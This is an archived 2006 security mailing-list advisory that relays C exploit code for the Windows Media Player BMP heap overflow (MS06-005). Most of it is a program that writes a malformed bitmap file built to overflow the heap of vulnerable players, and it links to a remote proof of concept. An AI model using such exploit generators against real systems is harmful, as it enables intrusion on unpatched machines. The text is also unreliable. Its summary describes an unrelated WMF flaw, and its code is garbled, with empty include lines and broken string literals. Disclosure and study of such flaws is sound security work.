

# [EXPL] Windows Media Player BMP Buffer Overflow Exploit (MS06-005)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00059.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 16 Feb 2006 18:41:41 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Windows Media Player BMP Buffer Overflow Exploit (MS06-005)

---

## SUMMARY

A remote code execution vulnerability exists in the Graphics Rendering Engine due to the way it handles Windows Metafile (WMF) images.

## DETAILS

### Vulnerable Systems:

- \* \* Windows Media Player for XP on Microsoft Windows XP Service Pack 1
- \* \* Windows Media Player 9 on Microsoft Windows XP Service Pack 2
- \* \* Windows Media Player 9 on Microsoft Windows Server 2003
- \* \* Microsoft Windows 98
- \* \* Microsoft Windows 98 Second Edition (SE)
- \* \* Microsoft Windows Millennium Edition (ME)
- \* \* Microsoft Windows Media Player 7.1 when installed on Windows 2000 Service Pack 4
- \* \* Microsoft Windows Media Player 9 when installed on Windows 2000 Service Pack 4 or Windows XP Service Pack 1
- \* \* Microsoft Windows Media Player 10 when installed on Windows XP Service Pack 1 or Windows XP Service Pack 2

## [EXPL] Windows Media Player BMP Buffer Overflow Exploit (MS06-005)

### Immune Systems:

- \* \* Windows Media Player 6.4 on all Microsoft Windows operating systems
- \* \* Windows Media Player 10 on Microsoft Windows Server 2003 Service Pack 1
- \* \* Microsoft Windows XP Professional x64 Edition
- \* \* Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
- \* \* Microsoft Windows Server 2003 x64 Edition

### Exploit:

- /\*
- \* For Remote Exploration (hint):
- \* [http://www.spyinstructors.com/atmaca/research/wmp\\_remote\\_poc.aspx](http://www.spyinstructors.com/atmaca/research/wmp_remote_poc.aspx)
- \*/

- /\*
- \*
- \* Windows Media Player BMP Heap Overflow (MS06-005)
- \* Bug discovered by eEye –
- \* <http://www.eeye.com/html/research/advisories/AD20060214.html>
- \* Exploit coded by ATmaCA
- \* Web: <http://www.spyinstructors.com> && <http://www.atmacasoft.com>
- \* E-Mail: [atmaca@xxxxxxxxxxxx](mailto:atmaca@xxxxxxxxxxxx)
- \* Credit to KoZan
- \*
- \*/

- /\*
- \*
- \* Systems Affected:
- \* Microsoft Windows Media Player 7.1 through 10
- \*
- \* Windows NT 4.0
- \* Windows 98 / ME
- \* Windows 2000 SP4
- \* Windows XP SP1 / SP2
- \* Windows 2003
- \*
- \*
- \*/

- /\*
- \*
- \* In this vulnerability, payload is loaded to different places in memory each time.
- \* but some time is very easy to call our shell code :
- \* <http://www.spyinstructors.com/atmaca/research/wmp.JPG>
- \* but some times not =) because of ,no shell this time
- \*
- \*/

## [EXPL] Windows Media Player BMP Buffer Overflow Exploit (MS06-005)

```
/*
*
* Microsoft has released a patch for this vulnerability.
* The patch is available at:
* http://www.microsoft.com/technet/security/bulletin/ms06-005.mspx
*
*/

#include
#include

#define BITMAP_FILE_SIZE 0xA8D2
#define BITMAP_FILE_NAME "crafted.bmp"

#pragma pack( push )
#pragma pack( 1 )

// bitmap file format – http://atlc.sourceforge.net/bmp.html
//File information header provides general information about the file
typedef struct _BitmapFileHeader {
WORD bfType;
DWORD bfSize;
WORD bfReserved1;
WORD bfReserved2;
DWORD bfOffBits;
} BMPFHEADER;

//Bitmap information header provides information specific to the image
data
typedef struct _BitmapInfoHeader{
DWORD biSize;
LONG biWidth;
LONG biHeight;
WORD biPlanes;
WORD biBitCount;
DWORD biCompression;
DWORD biSizeImage;
LONG biXPelsPerMeter;
LONG biYPelsPerMeter;
DWORD biClrUsed;
DWORD biClrImportant;
} BMPIHEADER;

#pragma pack( pop )

int main(void)
{
FILE *File;
BMPFHEADER *bmp_fheader;
BMPIHEADER *bmp_iheader;
char *pszBuffer;
```

[EXPL] Windows Media Player BMP Buffer Overflow Exploit (MS06-005)

```
printf("\nWindows Media Player BMP Heap Overflow (MS06-005)");
printf("\nBug discovered by eEye");
printf("\nExploit coded by ATmaCA");
printf("\nWeb: http://www.spyinstructors.com &&
http://www.atmacasoft.com);
printf("\nE-Mail: atmaca@xxxxxxxxxxxxx");
printf("\nCredit to Kozan");
```

```
if ( (File = fopen(BITMAP_FILE_NAME,"w+b")) == NULL ) {
printf("\n [E:] fopen()");
exit(1);
}
```

```
bmp_fheader=(BMPFHEADER*)malloc(sizeof(BMPFHEADER));
bmp_iheader=(BMPIHEADER*)malloc(sizeof(BMPIHEADER));
pszBuffer = (char*)malloc(BITMAP_FILE_SIZE);
```

```
memset(pszBuffer,0x41,BITMAP_FILE_SIZE);
```

```
bmp_fheader->bfType = 0x4D42; // "BM"
bmp_fheader->bfSize = BITMAP_FILE_SIZE;
bmp_fheader->bfReserved1 = 0x00;
bmp_fheader->bfReserved2 = 0x00;
```

```
// eEye - MAGIC
```

```
// Antiviruses will get the signature from here!!!
```

```
bmp_fheader->bfOffBits = 0x00; //( sizeof(BMPFHEADER) + sizeof(BMPIHEADER)
);
```

```
bmp_iheader->biSize = 0x28;
bmp_iheader->biWidth = 0x91;
bmp_iheader->biHeight = 0x63;
bmp_iheader->biPlanes = 0x01;
bmp_iheader->biBitCount = 0x18;
bmp_iheader->biCompression = 0x00;
bmp_iheader->biSizeImage = 0xA89C;
bmp_iheader->biXPelsPerMeter = 0x00;
bmp_iheader->biYPelsPerMeter = 0x00;
bmp_iheader->biClrUsed = 0x00;
bmp_iheader->biClrImportant = 0x00;
```

```
memcpy(pszBuffer,bmp_fheader,sizeof(BMPFHEADER));
memcpy(pszBuffer+sizeof(BMPFHEADER),bmp_iheader,sizeof(BMPIHEADER));
```

```
fwrite(pszBuffer, BITMAP_FILE_SIZE-1, 1,File);
fwrite("\x00", 1,1, File); //Terminator
```

```
fclose(File);
printf("\n\n" BITMAP_FILE_NAME" has been created in the current
```

directory.\n"):

return 1;  
}

ADDITIONAL INFORMATION

Credit:

The information has been provided by <mailto:atmaca@xxxxxxxxxxx> ATmaCA.

The original article can be found at:

[http://www.spyinstructors.com/atmaca/research/wmp\\_remote\\_poc.aspx](http://www.spyinstructors.com/atmaca/research/wmp_remote_poc.aspx)

The advisory can be found at:

<http://www.securiteam.com/windowsntfocus/5IPOB1PHPS.html>

=====  
=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@xxxxxxxxxxxxxxxx](mailto:list-unsubscribe@xxxxxxxxxxxxxxxx)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@xxxxxxxxxxxxxxxx](mailto:list-subscribe@xxxxxxxxxxxxxxxx)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.